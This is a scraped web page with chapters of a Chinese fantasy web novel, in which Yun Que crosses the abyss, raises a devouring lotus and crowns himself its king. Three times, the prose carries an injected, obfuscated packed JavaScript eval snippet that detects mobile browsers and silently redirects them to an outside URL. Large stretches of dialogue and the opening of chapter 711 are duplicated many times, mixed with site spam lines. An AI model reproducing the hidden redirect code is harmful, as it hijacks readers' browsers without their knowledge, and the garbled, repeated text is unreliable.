从腾蛇入大渊开始,足足过了一刻钟,蛇尾依旧留在地面,庞大的灵尊以自己的妖身组成了一道通往大渊地底的阶梯! 黑暗里,遥遥传来一声厉吼。 那是灵尊的啸声,已达底部。 云缺第一个跃出,沿着蛇身滑进大渊,其他人相继跟随。 秦蒙将宋道理留在洞口,道: “你的修为,下去并无用处,留在此地看守即可。 宋道理躬身领命,守在大渊洞口。 等秦蒙的身影也落进大渊,洞外变得安静下来。 宋道理盘坐在一旁,默默等待。 落进大渊之后,云缺眼前是惊人的景象。 无边无际的黑暗空间! 地面上屹立着大小不一的骨山,头顶游荡着数之不尽的鬼火与幽魂,远处时而有巨大的黑影起起伏伏,不知是什么恐怖的诡物。 来到大渊的第一感觉,就是冷。 并非身体上的寒冷,而是一种从骨头里往外散发着的阴冷,连元神都在微微颤抖。 孔气气最先挺不住了,将大锤扎进地面,这件异宝立刻散发出金色的光晕,笼罩了方圆三十丈左右的空间。 “我只能护住这么大地方,这里实在太可怕了!孔气气有些丧气的道。 “够了。 秦蒙当先走向远处,其他人相继跟随。 之后没人在开口。 在孔气气撑起的光幕之外,寒刀冷喝一声,将重刀扎进地面,三品归真之力尽数灌入刀中,撑开了三十丈上下的刀气空间。 第三个是白起,一样以本命武器扎于地面,随后是大唐皇后长孙至清与宰相吴尔智。 一个又一个光幕,宛如一朵朵生命之花,盛开在暗无天日的大渊之内。 有的二三十丈,有的两三百丈,修为不同,护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056778|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的空间则不同,但方向始终一样。 通往大渊更深的地方。 路上的脚步,渐渐稀少起来。 大祭酒撑开了三百多丈的儒家浩然气。 秦皇撑开了同样大小的武夫气机。 最后忆白龙将白龙剑扎进地面,撑开了最后三百余丈的剑气之 幕。 这条路很长,有秦皇,有武威王,有一众先生的庇护。 这条路很短,在无边无际的大渊里,显得微不足道。 但是那一条颜色不同,气息不同的光芒,犹如一道指引,在黑暗里倔强的散发着光亮,为云缺照亮着归途。 “多谢大家相助,我一定会回来! 朝着光线的方向深深一拜,云缺转身走进了黑暗当中。 独自前行! 这条路最终,只有云缺一个人能走。 无论大祭酒还是秦皇,亦或者武威王,都无法在大渊里保存足够的战力,超过范围,修为将大减,最终被黑暗里的诡物吞没。 而云缺不同。 云缺是三魂之体,来自大渊的侵袭,可以由三道神魂来分担承受。 大渊的压制力,云缺的元神如果承载到极限,立刻换为月魁,月魁支撑不住会换为云朵。 即便如此,云缺走得也极为艰难。 脚步沉重。 云缺的心里只有一个念头。 向前! 找到母亲,杀掉星辰殿之主! 时间在这里失去了概念。 云缺记不清自己走了多久,一个时辰?还是一天?亦或者一年? 回头看去,光幕般的指引早已消失在黑暗深处,看不到半点光芒。 “果然不是好地方…… 一拍心窝,气机涌动间,身上的五行保甲涌动起奇异的气息。 这件由五彩石炼制的保甲,是云缺能独自在大渊行走的另一份后手。 五彩石出自大渊,本身就带着大渊特有的气息,所以云缺能借助保甲之力,极大程度的抵消着大渊之力。 再次前行的路上,出现了诸多阻碍。 一些形态各异的诡物开始汇聚而来,有的很弱,一脚即可踩碎,有的极强,需要拼命才能斩杀。 接下来的路程,是一条杀戮之途。 云缺从未停步。 伴着杀戮而来的,还有境界的提升。 越是艰难之战,对武夫来说越是修炼的良机,三品归真对云缺来说远远不够。 云缺要冲进二品! 一路杀伐,一路前行。 无数诡物的尸骨,铺成了一条死亡之路,比起之前的生命之路更加震撼,也更加冰冷。 而诡物的尸体,又吸引了更多强大的诡物,云缺的战斗始终无法停息。 在斩杀了一头高山般的强大诡物之后。 终于,云缺倒下了…… 浑身血迹,一动不动,宛如尸体。 身后如山的尸骨堆积成一个诡异的笑脸,仿佛在嘲笑着猎妖人注定会亡于妖口的宿命。 “好饿啊…… 良久,云缺无力的声音渐渐响起在大渊深处。 “百密一疏,带了这么多宝贝,怎么没带饭呢…… 第708章 大渊王与大冤种 诡物不好吃。 云缺尝过了,但是肯定不会对外人说,怕被笑话。 灵丹也吃得差不多了,没剩多少,根本吃不饱。 对于武夫来说,什么险地都毫无畏惧,这辈子就怕一件事。 饿肚子。 云缺坐在尸山上,无精打采的翻着储物袋。 甚至拿出天镜想要咬一口,想起来这玩意小时候尿过,又收了起来。 “吃点啥呢,饿肚子怎么斩妖。” 云缺无奈的翻着储物袋,这时候要是回去,告诉秦皇武威王和一众先生,说我饿了,吃饱再去,恐怕不被骂死就得被笑话死。 “你上辈子估计是头猪,就知道吃吃吃。”月魁没好气的道。 “不吃饱哪有力气,我要饿瘪了。”云缺躺在尸山上不起来。 轰隆,轰隆。 远处有一些庞大的黑影在朝着这边移动。 云缺立刻蹦了起来,朝着安全的地方狂奔。 饿肚子,总好过被诡物填肚子。 等离开很远,云缺回头看去,之前堆积起来的诡物尸体,几乎消失殆尽,远远能听到恐怖的咀嚼声。 至少是三阶以上的诡物,甚至有可能达到二阶! 云缺发现越往大渊深处走,越容易碰到强大的诡物。 这里已经有二阶诡物活动,再往前,没准会碰到一阶的恐怖诡物。 快到头了? 云缺心里泛起这个念头。 甚至有种预感,星辰殿之主所在的地方,应该不会太远了。 “日月星辰均可指引方向,这里一样有指引方向的东西。” 云缺暗暗低语。 大渊其实也有规则,只要找到这份规则,相当于分辨出了大致方位。 云缺沿着一个方向继续前行,碰到的多为四阶程度的诡物。 这方向不对。 不过云缺没急着走,而是寻找吃的。 哪怕找点灵花灵果也行啊。 可惜大渊里根本没有花草,之前倒是碰到过一棵树,非但没果子,反而生长着满树的诡物。 “什么鬼地方,连个包子铺都没有……” 云缺嘀咕道,月魁都懒得吭声了,大渊里要是有包子铺,卖的也是人 肉包子。 找了个遍布碎石的地方暂时休息。 云缺继续翻找储物袋。 “糖沙,能吃倒是能吃,吃完会变傻…… “七叔的香囊,实在不行吃这个,瑶儿要是问起来怎么办呢,我说吃了,她肯定不信。 “要不然把云雁烤了吃? “这个种子应该能吃…… 云缺拿出一粒奇特的种子出来,眉头紧锁。 种子的确能吃,但这个种子有点不同寻常,是当初斩杀魔莲后所得。 嗜血魔莲那玩意,实在可怕,只要有东西吞噬即可无限生长。 “无限生长…… 云缺心头一动。 嗜血魔莲这种东西早该灭绝,是所有生灵的天敌,最后一枚种子肯定要销毁为好。 不过种在大渊里的话,会出现什么后果呢? 云缺决定验证一番。 反正这里是大渊,嗜血魔莲即便能疯狂生长,也无法影响外面。 正好一头四阶诡物出没,朝着云缺冲来,随后被一刀砍死。 云缺将魔莲种子,种在了诡物的尸体里。 一旦沾染诡物的血迹,原本干瘪的种子立刻焕发生机! 开枝散叶,短短盏茶时间就将诡物庞大的尸体吞噬一空! 原地出现了一朵庞大的魔莲,丈许大小,摇摇摆摆,莲花之内是一张血盆大口。 不过根茎还很虚弱,一刀即可斩断。 “小花,想不想多吃点。云缺拍了拍魔莲。 妖花立刻上下晃动,好像在点头。 被云缺带在身边这么久,这粒种子早已熟悉云缺的气息,将其当做同类,对云缺毫无敌意。 这下云缺精神了。 我没吃的,那就让魔莲吃个够! 带着魔莲继续前行。 随着斩杀的诡物越来越多,魔莲吃得愈发庞大,吞噬的速度越来越快,最后不用云缺动手,魔莲自己就开始寻找诡物吞噬,并且扎根于地面,不断生长出更多的魔莲。 云缺变得轻松了起来,也感受了一番当年燕太子的待遇。 坐在一朵魔莲之上,指点方向,魔莲就会缓慢前行。 速度有点慢,因为扎根了,得不断往前生长。 嗜血魔莲堪称恐怖的生长速度让云缺大开了一番眼界。 从最初的七阶程度没用一天就吞噬到三阶而且即将抵达二阶! 照这么吃下去嗜血魔莲估计能吃成大渊之王! 于是云缺所经之处诡物不仅不敢过来反而亡命奔逃。 “别跑啊都跑什么!” 云缺站在巨大的魔莲之上掐着腰朝着一群诡物大喝:“过来呀!我还是喜欢你们凶悍的模样你们可是大渊的诡物要凶一些!都这么没出息吗?” 诡物不会说话大多神智混沌。 但也有少量拥有神智的种类 消息很简单大多诡物都能理解内容是: 大渊里来了个祸害看见就快跑…… 当嗜血魔莲吃到了二阶程度云缺觉得自己可以封王了。 嗯大渊王! 云缺开始试着收服诡物。 还别说无论什么地方拳头大的都是爷爷。 一些拥有神智的诡物被抓住之后不用交流拎到魔莲的大嘴边晃一晃再让它跪地磕头立刻就明白。 放走后再见到的时候直接跪在云缺面前磕头。 就是不太好分辨。 诡物有很多都一个模样看不出那个是降服过的以至于重复威胁的诡物把它拎到魔莲大嘴旁边都不挣扎了。 后来云缺想到个好办法用魔莲的叶子当标记收服一些强大的诡物就把叶子插在诡物脑袋上。 不久后大渊里出现了一幕奇观。 一群头顶带着绿叶的诡物围成一大片朝着云缺跪拜个不停好像在供奉着神明。 云缺很是遗憾。 老子在大渊占山为王的壮观景象居然没有观众太可惜了。 随着降服的诡物越来越多云缺渐渐得到一个消息。 大渊里有水! 而且是世间罕见的五行灵泉。 “五彩石五行灵泉莫非是勾玉的地盘。” 云缺暗暗沉吟。 既然勾玉拿得出上百块珍贵的五彩石说明她轻易能得到很可能来自大渊。 既然大渊里出现五彩石那么五行灵 泉的存在也就成为了可能。 又仔细问了问。 得知五行灵泉并非以泉眼方式存在而是一种漂浮的水滴散落在大渊的隐秘角落很难收集。 诡物们一旦发现泉水立刻会吞食从而增强自身实力。 随后云缺分派手下的诡物去四处寻找。 大半天之后诡物们回来了只有一个神智最高的带回来一滴五行灵泉。 云缺仔细分辨一番确认无毒后吃下。 一滴泉水而已竟在云缺肚腹内化作磅礴灵气居然不亚于极品灵丹! 云缺能感受到自己的修为在服用泉水后拔升了一大截。 “好东西啊!多点就喝饱了。” 云缺惊喜之余发现诡物群里混入两个陌生的家伙是两个类似人形的怪蘑菇鬼鬼祟祟东张西望。 “把那两个家伙押过来。”云缺一指两个怪蘑菇。 立刻有神智高的诡物将其抓住 “你们两个眼生得很头上没绿居然敢混到本王的地盘来说你们哪来的。”云缺喝问。 “咿呀咿!” “吱吱吱!” 两个怪蘑菇抓耳挠腮发出怪声。 “没灵智抓走喂花。”云缺一摆手。 两个怪蘑菇被抓起就要扔进旁边的魔莲之口。 “别别别!别喂呀!” “云大爷住手哇!熟人呐!” 两个怪蘑菇眼看着要死急忙口吐人言。 云缺立刻摆手喊停。 大渊里会说人话的诡物可罕见尤其这俩家伙居然认得自己! “你们是……什么玩意?” 云缺看了半晌也没看出这两个怪蘑菇是什么来历。 怪蘑菇落地后纷纷晃动身体抖落出一股烟尘随之变化为人形一个胡子拉碴一个臊眉耷眼竟是两个壮汉。 看到这俩人的模样云缺惊讶道: “满申!大汗!” 两个诡物化形的模样正是学宫里消失一年多自称天鹰部大汗的屠苏与他的伴当满申。 “是我们呀!” “云缺你怎么来这里了刚才离着老远我们看到你都没敢相信!” “这事儿说来话长……等我先揍你们一顿再说!” 噼里啪啦一顿毒打。 两人变得鼻青脸肿。 云缺拍了拍手长吁一口气道: “舒服了让你们两个孙子骗我天鹰部都去了根本没有你这个大汗说!你们怎么成了诡物!” 屠苏苦着脸道: “我们住在这里我们其实就是诡物只是运气好吃到了一些灵泉水生出神智。” 满申捂着肿胀的大脸道: “我们发现灵泉水吃得越多越聪明于是联手抢到更多的泉水变得越来越聪明了!” 屠苏道: “但是我们发现灵泉水吃得多很难提升实力只会提升智力后来我们就想离开大渊去外面看看好不容易爬到顶上结果破不开封印只好摘点果子吃。” 满申道: “有天我们看到个机会!有人要把大渊边上的两棵树妖给挪走我们藏在树妖叶子里 屠苏道: “到了外面我们发现还不如大渊大渊里有灵泉吃外面吃个包子都要钱我们一路乞讨到了天祈学宫正好赶上考核于是成了学宫弟子。” 满申道: “幸亏云缺你来了要不然我们连早饭都吃不起!你可真是大好人!我们俩的灵泉之力要不是快耗空必须回来肯定留在学宫跟你混饭吃!” 云缺听完终于明白了一切。 原来这俩家伙是跟着树公公树婆婆一起离开的大渊秦皇当年带走了树妖也带走了藏在树叶里的两个怪蘑菇。 “你们可真聪明啊。” 云缺反讽了一句听得两人手舞足蹈开心不已。 云缺都无语了。 就这智力你们也就在大渊里混一混了…… “既然再遇就是缘分我现在自封大渊王你们两个做将军好了。” 云缺说完屠苏和满申更高兴了也要云缺给弄个封号。 云缺想都没想道: “我叫大渊王你们就叫大冤种。” 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 “这事儿说来话长……等我先揍你们一顿再说!” 噼里啪啦,一顿毒打。 两人变得鼻青脸肿。 云缺拍了拍手,长吁一口气,道: “舒服了,让你们两个孙子骗我,天鹰部都去了,根本没有你这个大汗,说!你们怎么成了诡物!” 屠苏苦着脸道: “我们住在这里,我们其实就是诡物,只是运气好吃到了一些灵泉水,生出神智。” 满申捂着肿胀的大脸道: “我们发现灵泉水吃得越多越聪明,于是联手抢到更多的泉水,变得越来越聪明了!” 屠苏道: “但是我们发现灵泉水吃得多很难提升实力,只会提升智力,后来我们就想离开大渊去外面看看,好不容易爬到顶上,结果破不开封印,只好摘点果子吃。” 满申道: “有天我们看到个机会!有人要把大渊边上的两棵树妖给挪走,我们藏在树妖叶子里,终于混了出去!” 屠苏道: “到了外面我们发现还不如大渊,大渊里有灵泉吃,外面吃个包子都要钱,我们一路乞讨到了天祈学宫,正好赶上考核,于是成了学宫弟子。” 满申道: “幸亏云缺你来了,要不然我们连早饭都吃不起!你可真是大好人!我们俩的灵泉之力要不是快耗空必须回来,肯定留在学宫跟你混饭吃!” 云缺听完终于明白了一切。 原来这俩家伙,是跟着树公公树婆婆一起离开的大渊,秦皇当年带走了树妖,也带走了藏在树叶里的两个怪蘑菇。 “你们可真聪明啊。” 云缺反讽了一句,听得两人手舞足蹈,开心不已。 云缺都无语了。 就这智力,你们也就在大渊里混一混了…… “既然再遇就是缘分,我现在自封大渊王,你们两个做将军好了。” 云缺说完,屠苏和满申更高兴了,也要云缺给弄个封号。 云缺想都没想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056779|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道: “我叫大渊王,你们就叫大冤种。” 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 “这事儿说来话长……等我先揍你们一顿再说!” 噼里啪啦一顿毒打。 两人变得鼻青脸肿。 云缺拍了拍手长吁一口气道: “舒服了让你们两个孙子骗我天鹰部都去了根本没有你这个大汗说!你们怎么成了诡物!” 屠苏苦着脸道: “我们住在这里我们其实就是诡物 满申捂着肿胀的大脸道: “我们发现灵泉水吃得越多越聪明于是联手抢到更多的泉水变得越来越聪明了!” 屠苏道: “但是我们发现灵泉水吃得多很难提升实力只会提升智力后来我们就想离开大渊去外面看看好不容易爬到顶上结果破不开封印只好摘点果子吃。” 满申道: “有天我们看到个机会!有人要把大渊边上的两棵树妖给挪走我们藏在树妖叶子里终于混了出去!” 屠苏道: “到了外面我们发现还不如大渊大渊里有灵泉吃外面吃个包子都要钱我们一路乞讨到了天祈学宫正好赶上考核于是成了学宫弟子。” 满申道: “幸亏云缺你来了要不然我们连早饭都吃不起!你可真是大好人!我们俩的灵泉之力要不是快耗空必须回来肯定留在学宫跟你混饭吃!” 云缺听完终于明白了一切。 原来这俩家伙是跟着树公公树婆婆一起离开的大渊秦皇当年带走了树妖也带走了藏在树叶里的两个怪蘑菇。 “你们可真聪明啊。” 云缺反讽了一句听得两人手舞足蹈开心不已。 云缺都无语了。 就这智力你们也就在大渊里混一混了…… “既然再遇就是缘分我现在自封大渊王你们两个做将军好了。” 云缺说完屠苏和满申更高兴了也要云缺给弄个封号。 云缺想都没想道: “我叫大渊王你们就叫大冤种。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “这事儿说来话长……等我先揍你们一顿再说!” 噼里啪啦一顿毒打。 两人变得鼻青脸肿。 云缺拍了拍手长吁一口气道: “舒服了让你们两个孙子骗我天鹰部都去了根本没有你这个大汗说!你们怎么成了诡物!” 屠苏苦着脸道: “我们住在这里我们其实就是诡物只是运气好吃到了一些灵泉水生出神智。” 满申捂着肿胀的大脸道: “我们发现灵泉水吃得越多越聪明于是联手抢到更多的泉水变得越来越聪明了!” 屠苏道: “但是我们发现灵泉水吃得多很难提升实力只会提升智力后来我们就想离开大渊去外面看看好不容易爬到顶上结果破不开封印只好摘点果子吃。” 满申道: “有天我们看到个机会!有人要把大渊边上的两棵树妖给挪走我们藏在树妖叶子里终于混了出去!” 屠苏道: “到了外面我们发现还不如大渊大渊里有灵泉吃外面吃个包子都要钱我们一路乞讨到了天祈学宫正好赶上考核于是成了学宫弟子。” 满申道: “幸亏云缺你来了要不然我们连早饭都吃不起!你可真是大好人!我们俩的灵泉之力要不是快耗空必须回来肯定留在学宫跟你混饭吃!” 云缺听完终于明白了一切。 原来这俩家伙是跟着树公公树婆婆一起离开的大渊秦皇当年带走了树妖也带走了藏在树叶里的两个怪蘑菇。 “你们可真聪明啊。” 云缺反讽了一句 云缺都无语了。 就这智力你们也就在大渊里混一混了…… “既然再遇就是缘分我现在自封大渊王你们两个做将军好了。” 云缺说完屠苏和满申更高兴了也要云缺给弄个封号。 云缺想都没想道: “我叫大渊王你们就叫大冤种。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “这事儿说来话长……等我先揍你们一顿再说!” 噼里啪啦,一顿毒打。 两人变得鼻青脸肿。 云缺拍了拍手,长吁一口气,道: “舒服了,让你们两个孙子骗我,天鹰部都去了,根本没有你这个大汗,说!你们怎么成了诡物!” 屠苏苦着脸道: “我们住在这里,我们其实就是诡物,只是运气好吃到了一些灵泉水,生出神智。” 满申捂着肿胀的大脸道: “我们发现灵泉水吃得越多越聪明,于是联手抢到更多的泉水,变得越来越聪明了!” 屠苏道: “但是我们发现灵泉水吃得多很难提升实力,只会提升智力,后来我们就想离开大渊去外面看看,好不容易爬到顶上,结果破不开封印,只好摘点果子吃。” 满申道: “有天我们看到个机会!有人要把大渊边上的两棵树妖给挪走,我们藏在树妖叶子里,终于混了出去!” 屠苏道: “到了外面我们发现还不如大渊,大渊里有灵泉吃,外面吃个包子都要钱,我们一路乞讨到了天祈学宫,正好赶上考核,于是成了学宫弟子。” 满申道: “幸亏云缺你来了,要不然我们连早饭都吃不起!你可真是大好人!我们俩的灵泉之力要不是快耗空必须回来,肯定留在学宫跟你混饭吃!” 云缺听完终于明白了一切。 原来这俩家伙,是跟着树公公树婆婆一起离开的大渊,秦皇当年带走了树妖,也带走了藏在树叶里的两个怪蘑菇。 “你们可真聪明啊。” 云缺反讽了一句,听得两人手舞足蹈,开心不已。 云缺都无语了。 就这智力,你们也就在大渊里混一混了…… “既然再遇就是缘分,我现在自封大渊王,你们两个做将军好了。” 云缺说完,屠苏和满申更高兴了,也要云缺给弄个封号。 云缺想都没想,道: “我叫大渊王,你们就叫大冤种。” 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第711章 我才应该是主角 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074226|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 第711章 我才应该是主角 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074226|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!” 千年前,一座山顶。 一身青衣的儒生,与一位武夫并肩而立。 “山顶的风景不好看,不过,够凉快!”